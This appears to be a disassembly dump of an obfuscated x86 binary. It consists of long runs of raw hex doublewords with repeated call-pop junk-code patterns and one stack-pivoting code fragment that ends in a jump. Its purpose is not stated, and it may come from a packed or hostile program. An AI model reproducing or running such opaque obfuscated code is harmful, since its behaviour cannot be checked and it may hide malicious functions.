		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 27C68C3h, 18C4DA06h,	0BE660B41h, 952987B8h, 6A61539h
		dd 71D95FFh, 7E806A6h, 9D000000h, 0A31798A8h, 8B5FE772h
		dd 0A63049B5h, 0BF665006h, 48953BBh, 8DBD8B24h,	0E906A62Ah
		dd 4FEh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0ACC35747h, 94EC37E7h, 13E9E9h,	1520000h, 77271214h
		dd 2B8E2895h, 1F686A8h,	28EDEDD0h, 6A00B076h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 78C0C352h, 8B4509F0h, 0F70E6F2h, 288h, 0E4F78B00h, 13E871h
		dd 0DBFC0000h, 3CFF70Ah, 7EAB8EA8h, 0BF42E643h,	0ED778FBAh
		dd 0FFD781BAh, 5E33BC7Dh, 7308C681h, 0B60F5F8Ah, 51006AD8h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0BA7AB1DCh, 6, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	99C35545h, 2A10C2FBh, 8BF9B70Fh, 56006AC3h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 8D0987D5h, 6A60615h,	4E8C1F9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 4CC35646h, 1BD8BF8h, 6606A619h
		dd 0B70FE2F7h, 6AD82BF7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0CE68C355h,	0B14E7C3h
		dd 0A634A9BDh, 0E9958906h, 9306A629h, 13E9h, 0D10F5B00h
		dd 13E4DF58h, 0DFE11631h, 0F7935437h, 50AA59DEh, 0BF525050h
		dd 7869C311h, 0BF66310Fh, 585A219Dh, 50006A93h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 2DC2C694h
		dd 0BE666B4Dh, 0B5FFB754h, 6A6072Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 41C35040h, 0EED12D5Eh, 8B24B435h
		dd 1C85BEF3h, 95FF6AF8h, 6A62959h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 9C35646h, 0D220C422h, 0EE911h
		dd 0AE5A0000h, 0C773BF51h, 0B0775C70h, 2D798CB7h, 6A00B0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0F00915C3h, 68D0FF0h, 8B000000h, 0A63095BDh,	0BF70E606h
		dd 3EBB076Fh, 2F999529h, 71E406A6h, 9E99501h, 613C06A6h
		dd 2A4830Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0C4740DC3h, 0C8547E02h, 0D8B60F55h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 70C35646h
		dd 74930328h, 711A1B32h, 58A0F47h, 0BF000000h, 38AD8A36h
		dd 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0F0C5EAD7h, 10E84A7Ch, 26000000h
		dd 53800E8Dh, 6A8FF74Ah, 0BA4F56DEh, 5E5B543Fh,	0B70FC38Bh
		dd 4E8C1FEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	55C35747h, 0F766F1CFh, 50006AE2h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BE667FF9h
		dd 0D82B99BEh, 2B8DBD8Bh, 535806A6h, 0D82B5EF8h, 1B4880Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0D64B21C3h, 0C951B001h, 0E897DC9Eh, 0Eh
		dd 359D2101h, 10568921h, 151AB71Eh, 8E9850Ch, 0E8000000h
		dd 42AA63F6h, 5E9700DBh, 7B9h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 1427A904h
		dd 661C81E8h, 0C183F98Bh, 15958900h, 3B06A629h,	33860FD9h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 24DBC356h, 66294AC5h, 6AD98Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0EC3h, 0E2E68102h, 0F61B44F2h, 840F04C1h, 0BEh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 4C35646h, 8D89F6A7h
		dd 6A631E1h, 71D95FFh, 0F08B06A6h, 4820F5Bh, 66000000h
		dd 2B95A0BEh, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 8343D86h,	860F0000h, 5Eh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0BEC35141h, 7E9h
		dd 400BD200h, 7ED432CFh, 3405B58Bh, 4FE906A6h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0B9B9C357h, 8E9E8h, 0BBA0000h, 93365EE8h
		dd 0C08B07D9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	1AC35141h, 25799589h, 0C38B06A6h, 6AD88Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 517807C3h, 70D90241h, 0F18BBA7Eh, 190585C7h,	0A95D06A6h
		dd 0DE95349h, 0EE000000h, 802C9DAEh, 90AC6CC1h,	412A9947h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0AF6311C3h, 607E59CAh, 185858Bh, 5E906A6h
		dd 0B3000000h, 1276D73Fh, 2DBD8161h, 0D006A607h, 0F000007h
		dd 0E85h, 0FF5F5700h, 0A6072D85h, 98D0906h, 0FF06A608h
		dd 0A6072DB5h, 1810F06h, 0F8000000h, 295995FFh,	6A06A6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0A77263C3h, 0E12F17C4h, 2E6D7ABEh, 12E99000h, 70000000h
		dd 98B35BE2h, 0ACC8138h, 159D4132h, 579E1275h, 6051FC81h
		dd 4358531h, 8C0F06A6h,	0
		dd 0FDB50BF9h, 6106A608h, 6A5EF5h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 5EADFBC3h, 9589DC21h
		dd 6A62E35h, 0DAB70F60h, 8BF28166h, 60F5611Ch, 8759D89h
		dd 5DB306A6h, 6A6183B5h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0EBC3C355h,	58D5CC7Ah
		dd 2DF78123h, 0F8622EB1h, 11E8h, 543D3D00h, 606B2F41h
		dd 8518481Ah, 2CBCAADDh, 0B58BC171h, 6A60AC1h, 0C8EF8166h
		dd 0FA8B5EBFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0D4C35040h, 8ADBD8Bh, 9E906A6h,	69000000h, 7DE3717Eh
		dd 19419603h, 15D5BD8Bh, 6A06A6h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 3ACBFEC3h, 0E97CE6D5h
		dd 0FFFFF6C8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0A2C35747h, 0E95B7821h,	0Ch, 889955D6h,	3544F7C9h
		dd 600CFAC2h, 6AC18Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0D85C8C3h, 8B66F5BAh, 4EBF2h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 51D8C350h, 0B168CD21h, 0F50BC0Eh,	385h, 0FEB70F00h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0BDC35545h
		dd 2D60D44Ch, 66614D73h, 8D18F7BEh, 0A62CAD85h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0A1B88632h, 0BD09D7C0h, 6A62ED5h, 19870F90h,	50000000h
		dd 8E952h, 9B9B0000h, 9E4E8A33h, 310F733Bh, 8B0Fh, 585A0000h
		dd 8D899050h, 6A6011Dh,	0DF67BF66h, 0BD8B006Ah,	6A61F41h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0FB5FEC3h, 68Fh, 0ADB58B00h, 8D06A601h, 0AA1E0285h
		dd 5C08306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	9CC35747h, 359D29E1h, 9006A619h, 0AE8h,	49C7A200h
		dd 0A5ACD2Bh, 8B570D50h, 0F505FF1h, 87h, 11E99000h, 0EE000000h
		dd 42086EAh, 8D1E66E5h,	0CC306876h, 7FEE3B8Bh, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0A035F2C3h, 8166E96Fh, 66019FD6h, 6AF08Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 67C35141h, 14E98Bh
		dd 0B0190000h, 0FDC76D9h, 0A22C7748h, 84ED3198h, 0BF33BE02h
		dd 95FFDE65h, 6A61245h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 88C35242h, 0FF9D8D07h, 8106A994h, 69224BDEh
		dd 66D3FF34h, 0BF66F88Bh, 85FFD15Fh, 6A6126Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 87C35545h, 879EC231h
		dd 26BAC4ECh, 41A2BEDEh, 0BF665457h, 65E9B963h,	0E8000008h
		dd 0
		dd 0CED815Dh, 6A06AA1Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0DD88C356h,	0DE61E9CFh
		dd 0BD812903h, 6A6072Dh, 7D0h, 173860Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0DAC1A6C3h, 58F460C5h, 818D8928h, 6006A607h,	33758D8Bh
		dd 9D8B06A6h, 6A608EDh,	219D8B61h, 0E806A61Ch, 0Eh, 0F1DCA04Ch
		dd 0D29130C3h, 9A73A4F8h, 5FF8E108h, 100E381h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 499F02C3h, 0C745FD53h, 0B118962h, 99850FDBh,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 5E69C352h, 0C1BACC5h, 0A9B523D3h,	8306A631h
		dd 0AA1BF3BDh, 840F0006h, 43h, 0C399531h, 0E9F906A6h, 62h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 73C35747h
		dd 0CFF3992Eh, 10E9492Fh, 4A000000h, 0F5DB5D7Fh, 570E5AC9h
		dd 0A4FF44F1h, 0C72B6BD8h, 0AA1BF385h, 106h, 8E0F6000h
		dd 2, 0B966C68Bh, 0E9616BD2h, 0Eh, 54F8BF66h, 1BF385C7h
		dd 6AAh, 9D8D0000h, 6A61C21h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 3DC35242h, 0C202A0F2h, 81B2E211h
		dd 0FFFEFF23h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0DB8C669Ch, 0F04C3F6h
		dd 5784h, 820F6000h, 2,	0FF615E52h, 0A6071D95h,	0DDBD8B06h
		dd 9006A633h, 0CE8h, 3C007A00h,	0EB1B2913h, 272DCC52h
		dd 0FE8B6618h, 6A90505Eh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0E9F7C352h,	3883A079h
		dd 56B5D142h, 5FF0BF0Fh, 401E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0A42196A3h
		dd 81AAA0CAh, 0BF0FAB4Eh, 6A00B0F2h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 21E5C356h
		dd 14E9h, 0E8CDA100h, 79C5AD80h, 0AC1CBFD4h, 2C1A7CA0h
		dd 1B1F9B37h, 0E470E671h, 0D8B60F71h, 6BAh, 0B9DE8100h
		dd 8B3A2B30h, 2DBD8BC3h, 0C106A61Eh, 6A04E8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0F766C1C3h
		dd 6840FE2h, 9000000h, 0A606CD85h, 6AD82B06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 1483C356h, 80C20B84h, 0BFD3EE87h, 7392F8BEh,	52506093h
		dd 0AE8310Fh, 0AD000000h, 58FF08A8h, 0DD31684Dh, 585A5FBEh
		dd 8E8h, 59E61800h, 77283422h, 4EC0BB0Ch, 615B0CF9h, 0FA8B6650h
		dd 51006A93h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0DE21109Fh, 0D7AF8643h, 72DB5FFh, 0F6006A6h
		dd 1384h, 0DE800h, 26C50000h, 0A4A3B117h, 0F2F669FCh, 5E57C56Bh
		dd 0FF61CF8Bh, 0A6295995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B58BD251h
		dd 6A625C5h, 2FE1B58Bh,	0B006A6h, 6A9BD89h, 70E606A6h
		dd 0C870Fh, 29600000h, 0A622919Dh, 73BE6606h, 71E46104h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 24C35646h
		dd 1B3D8D89h, 613C06A6h, 240830Fh, 0BD290000h, 6A604A9h
		dd 68D0Fh, 9D890000h, 6A604D5h,	8BD8B60Fh, 0A606A9B5h
		dd 6BA06h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 6E875C3h, 53000000h, 47C031F5h
		dd 0F18B6649h, 6AC38B5Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 1777C351h, 3C117408h
		dd 8C41B332h, 0E8C1FE8Bh, 8166F804h, 666368CEh,	9D29E2F7h
		dd 6A62E1Dh, 8589D82Bh,	6A61A8Dh, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 8E9CAh, 0A8C20000h
		dd 84C22737h, 0D82BA7A9h, 180880Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 1E1B76C3h
		dd 459D3128h, 11E911A7h, 1D000000h, 0C8752B11h,	0D2A8B7ECh
		dd 94A1C429h, 14E11D4Ch, 7B9h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0AABFB25Ah
		dd 0C1B3B206h, 5E9h, 0B8538E00h, 9D295864h, 6A61501h, 8900C183h
		dd 0A614DD8Dh, 0FD93B06h, 0FD86h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 5F4DD9A9h
		dd 95A5A5F5h, 79F7815Eh, 2929AE9Fh, 0A609F995h,	0D98C6606h
		dd 0DE8h, 75086E00h, 2764797h, 88101048h, 0BD29A006h, 6A60CD5h
		dd 4C1F65Eh, 88840Fh, 0CCBF0000h, 0BE226DD2h, 7B99CBFh
		dd 71D95FFh, 8C0F06A6h,	6, 1B6DBD8Bh, 6A5B06A6h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0B03AC352h, 2B1216B0h, 15BD0BC3h, 3D06A605h,	834h, 38860Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0E96035C3h, 8, 98DFDC66h,	7C1F66C4h, 64DBD89h
		dd 0E96106A6h, 22h, 0C08BF18Bh,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 36C35343h, 0C38BAB85h, 6AD88Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8D8940C3h, 6A60DD5h,	0A7985C7h, 0D15D06A6h, 895773D9h
		dd 0A60E9D8Dh, 81665E06h, 8B147CCFh, 52006AC0h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 36C9B988h
		dd 1D5DE1A4h, 81FFBF0Fh, 0A6072DBDh, 7D006h, 5E850F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 5D67C357h, 18C233F3h, 0AEBFFE1Fh
		dd 0FF1EFFB6h, 0A6072D85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 342C22Dh, 0D57516ADh
		dd 72BFCCD7h, 892FF3ECh, 0A61A7D85h, 2DB5FF06h,	8B06A607h
		dd 0A62B79BDh, 6830F06h, 8B000000h, 0A618ADBDh,	5995FF06h
		dd 6A06A629h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0C80EC355h, 5C5D065Fh,	0B58B15D2h
		dd 6A633FDh, 55006A90h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 369AF910h, 70F1ABF7h, 0E1C78166h
		dd 28F681F3h, 6A720416h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 7F85C352h, 67CA456Eh
		dd 6AEC2544h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 9CAC352h, 1AF093FFh, 6E9h, 8ADFFE00h
		dd 293FE872h, 0A62AB195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 5277BE5Eh
		dd 75664AE0h, 0EF8150A5h, 683E1BA1h, 334DBD89h,	0E85F06A6h
		dd 13h,	4E96815h, 0BD55D29Ch, 8318A68Eh, 0D8B1AAF0h, 89A87EEEh
		dd 0A612F5B5h, 850F5F06h, 0Bh, 33C18529h, 0CBF06A6h, 8B7758FCh
		dd 0A61D15BDh, 15B50306h, 6A06A634h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0ADBC356h
		dd 8903CFF7h, 0A619FD9Dh, 55958906h, 0B06A606h,	0A63019B5h
		dd 0F7A1E906h, 0B523FFFFh, 6A60C99h, 34E68160h,	0B90A94E0h
		dd 0FFFFFFFEh, 8D8B5060h, 6A60175h, 68D0F58h, 8B000000h
		dd 0A625CD95h, 8D216106h, 6A61015h, 2E458D89h, 8D2106A6h
		dd 6A61115h, 8BB1F280h,	0A610158Dh, 3F32B806h, 0FE819D4h
		dd 9000000h, 0BE6F1F0Fh, 0D7D75696h, 94416B5Eh,	0B58B78ACh
		dd 6A60CB5h, 1E1835Bh, 2D850Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0C3855EC3h
		dd 8BA877E4h, 0A62B09BDh, 7DB58B06h, 8B06A62Bh,	0A611158Dh
		dd 0F78B6606h, 0F01E183h, 685h,	819D2B00h, 6106A62Ah, 51006A60h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0EA0EB722h, 8913FCA6h, 0A611F195h, 1858B06h,	0B906A60Eh
		dd 0FFFFFFFEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	4EC35242h, 0F03BA54Bh, 9E952h, 60810000h, 0F88672D0h
		dd 8929E138h, 0A60591BDh, 0A9858B06h, 2106A61Ch, 0A61C218Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0BD950BD5h, 8B06A609h, 0A6344DB5h, 0C18D2106h
		dd 8906A614h, 0A631E9B5h, 218D8B06h, 6606A61Ch,	831BD7BFh
		dd 850F01E1h, 20h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0A4C35343h, 31CE80FEh, 14C18D8Bh, 6A06A6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0F207E2C3h, 0F930DBD2h, 0E183A27Ah, 26850F01h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0BA42C350h, 44A22034h, 8B669176h,	0AE961D7h
		dd 0DB000000h, 0C3C25h,	0
		dd 4A6E900h, 2C390000h,	1ACC4BC6h, 0C99AA5F0h, 0B9AF9623h
		dd 5173DA57h, 5EFF0A87h, 2C79AF51h, 11AC4261h, 40DD0B36h
		dd 0B20FE5C5h, 188922ACh, 0E3366C1h, 17995DBh, 4EFCEFF6h
		dd 7A441C56h, 0E9365BFCh, 0C23835CCh, 0B55F03B0h, 81577994h
		dd 0B3590934h, 8D677B8Ah, 5FB5B1DCh, 98EAB62Eh,	0F620CC6Bh
		dd 0AA13D77Ch, 0B6285187h, 15881FDEh, 1F0B9F19h, 0C360CB51h
		dd 0D535CC8Bh, 632A67FDh, 3C1B9640h, 6FA6C711h,	59F79678h
		dd 5E88B413h, 74A6DC04h, 0F41ECC49h, 0A0828D18h, 8B729F38h
		dd 8E6435CCh, 3EA8EB92h, 0E835CC8Bh, 9D34B0C2h,	0DCF0FEC6h
		dd 6Eh,	6D875B46h, 0DA5CB03Ch, 0AE5D5EAAh, 1C4DA784h, 0E689B6A2h
		dd 72912230h, 0A035CC39h, 0D50C88FAh, 94F0FE74h, 1, 69835B1Eh
		dd 6D17BC30h, 4C1AA9BBh, 0C26987A6h, 625C0DE3h,	0BDA310h
		dd 2D91C822h, 8C940831h, 33DE8576h, 6206FE5h, 72582ECh
		dd 344EB0E9h, 2403F37Dh, 0C4A21A5Ch, 372B98EAh,	93493DDh
		dd 3E34AEDFh, 0B95BD763h, 0D7973E6Fh, 0E2C10C3Dh, 0B8135D0Ch
		dd 35CCE90Bh, 0F69AA51Dh, 0CBD77920h, 9F496BB9h, 0BD1A2AA3h
		dd 0EF3341AFh, 0E9F96695h, 827E9050h, 266DE7DBh, 0F651EC3Ah
		dd 0EB501EF4h, 0E5481AF4h, 2A53B9AAh, 38BCD6E2h, 0F0FEAAF1h
		dd 56D0h, 0B95B5200h, 0D2973E6Fh, 939F0138h, 1491B361h
		dd 138FBE68h, 81A3EA27h, 11BE3657h, 1BA8BA50h, 2AF2AB45h
		dd 2970F40Eh, 28F0FEAAh, 57h, 6FB95BEAh, 5D09B63Eh, 322EF8E4h
		dd 0F8E8970Bh, 0CCF75C16h, 0AE64631Ah, 1D6FA754h, 61C0F37Ch
		dd 193B88DAh, 5B3872CFh, 91306983h, 35CCE975h, 1AC87171h
		dd 795549F0h, 46E28DC0h, 0CCE97C95h, 9C886235h,	50A26CEDh
		dd 46BC66D1h, 0FEA427C2h, 166F0h, 5B2C0000h, 923D6C86h
		dd 0CC033AD0h, 3857F620h, 0BB98C12Bh, 721C9DF7h, 0DD8E5CB6h
		dd 0D914FA37h, 0E91BB64Eh, 78A7A251h, 0CCC2BED3h, 9F38A035h
		dd 35CCC272h, 0A6928E64h, 0D79244B8h, 2EB2F6C6h, 0D56DCE54h
		dd 0F93EB24Ch, 35355801h, 0E7FB42DFh, 963D5C0Dh, 94336A20h
		dd 0C20D3CD6h, 33520BE1h, 39A5C42Eh, 25A4DED0h,	0F82A5852h
		dd 8AB500EAh, 8F3432D8h, 0AB4162DBh, 751400F2h,	1A4AFB89h
		dd 9932AEBDh, 336A2068h, 0F1A8847Eh, 5BC8630Dh,	4D336A20h
		dd 0B2B01F55h, 2C202158h, 9284BED0h, 542E5736h,	86A4768Ch
		dd 8920D16Ch, 3DF658DFh, 0C3DEB96h, 5A7C092h, 6B000001h
		dd 3A24E11Ch, 0B2FEE591h, 6019F13Eh, 5AD73D2Dh,	5B05EFF3h
		dd 7103EDFCh, 5BB1B1DCh, 0B3DFE11Dh, 30923A91h,	9D4C8322h
		dd 98BBCA73h, 14DE1F4Eh, 0D7012CFEh, 0F9504CB6h, 5D0DDF35h
		dd 6E857AB7h, 2DF658DAh, 3Dh, 26C89847h, 0AEA44A19h, 22E71C92h
		dd 0E91E9344h, 6E40B5CCh, 0BA7AC496h, 2E37B674h, 0B266602Dh
		dd 10B3EAC6h, 0B5CC63F3h, 68FD17DBh, 6FC89673h,	35CC63A2h
		dd 0ED43DE34h, 80h, 24E11CB5h, 27CD9D3Ah, 58C69C06h, 0B2C37FFFh
		dd 0FEE14E3Eh, 0F2AC9E2Ch, 2F1B3101h, 6504FE55h, 47D2382Ah
		dd 5900EAF8h, 50BAA817h, 1CBFB529h, 336A3CF0h, 6D9EF4BEh
		dd 7B09E7C6h, 0A1FC16D4h, 0A44E18C7h, 6EA726AEh, 6E95700h
		dd 5FD3810h, 0D3392964h, 56DC1AAAh, 9C164CE5h, 0EA785238h
		dd 9C59CCC6h, 0F3790761h, 9C162B58h, 0B8517A38h, 4B9DC93Fh
		dd 6BACA61Ch, 33E6A815h, 0BAF441B9h, 3A24E11Ch,	0B6D1A391h
		dd 0A2DB373Eh, 0CB957F63h, 0C1937D6Ch, 4FA58580h, 0DA10FB1Eh
		dd 0DBC72408h, 8D677BA9h, 0EC551530h, 7A6916C0h, 1D09F594h
		dd 0D17A006Ch, 248CD9B0h, 89364CA6h, 0F81435DBh, 5210C230h
		dd 226DB8h, 0E5CD6FEEh,	9682AE90h, 0A71F7h, 5CFB0000h
		dd 0DBC766B0h, 821EC989h, 3168825Bh, 726CC9Eh, 4AF325C8h
		dd 93CA243Bh, 0E786507Ch, 2B5284A8h, 732AC4E4h,	44E50FDCh
		dd 96B75D09h, 7BC268A4h, 0C890000h, 0E6895624h,	4C681h
		dd 0EE830000h, 24348704h, 2414895Ch, 81E68956h,	4C6h, 4EE8300h
		dd 5C243487h, 68240C89h, 6AA2862h, 0C8B545Ah, 4C48324h
		dd 0D7895756h, 895FFE89h, 8B5E0871h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5527C7
; ---------------------------------------------------------------------------
		dw 20B8h
		dd 0DD983E86h, 6261455Fh, 0AA2C99B8h, 0FFC50306h, 0ACC106E0h
		dd 42A9222Bh, 9BF4AB57h, 1DE8B200h, 23696668h, 0B306AD0Ch
		dd 127B5B66h, 1D9EF45Ah, 9B00957Ah, 5CCF1724h, 0C748562Ah
		dd 9F5D262Bh, 66C9226Eh, 54540B07h, 0BA0A7060h,	0C059D03Dh
		dd 0A04BE210h, 0E864FB5Ch, 0C5B7FD3Bh, 336D7D4Eh, 0ED9D0D3Fh
		dd 6A6007h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 9BF7A6C3h, 0FD0041DFh, 0B1BD0164h, 0B906A62Ah
		dd 0FFFFFFFEh, 8E952h, 0EE360000h, 575B468Ch, 215F9EB4h
		dd 0A603F98Dh, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0ED958B83h, 2106A619h
		dd 0A621718Dh, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0FD72F1DDh, 0B8BF5B6Eh
		dd 66E00023h, 3F98D8Bh,	9D8B06A6h, 6A62B41h, 0F01E183h
		dd 685h, 49BD2900h, 8B06A630h, 0A621718Dh, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 94A094A5h, 0B9BD8B7Dh, 8306A631h, 850F01E1h,	27h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3CC35646h, 0E2B69EE3h
		dd 0D1DC80B1h, 6157D780h, 75952360h, 0B906A607h, 0FFFFFFFEh
		dd 0C383BF66h, 19058D21h, 6A06A6h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 6EB243C3h, 8B6092A2h
		dd 0A611918Dh, 3DBB6606h, 8D21614Fh, 6A60A79h, 0AE9h, 33183600h
		dd 0E4548A51h, 8B05C936h, 0A619058Dh, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 8C63404Fh, 79F76425h, 0E183F936h, 47850F01h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 8CC5C351h, 66A12667h, 0DE8D2h, 0E5990000h
		dd 4E19E5F9h, 0C68E1DB3h, 0E91B4B94h, 0Dh, 5EF0771Ch, 94D1930Eh
		dd 1EBEA73Ch, 8D8B5B95h, 6A60A79h, 1C819D23h, 0E18306A6h
		dd 23850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0CAF3C353h,	80E6B2A5h
		dd 606110E8h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
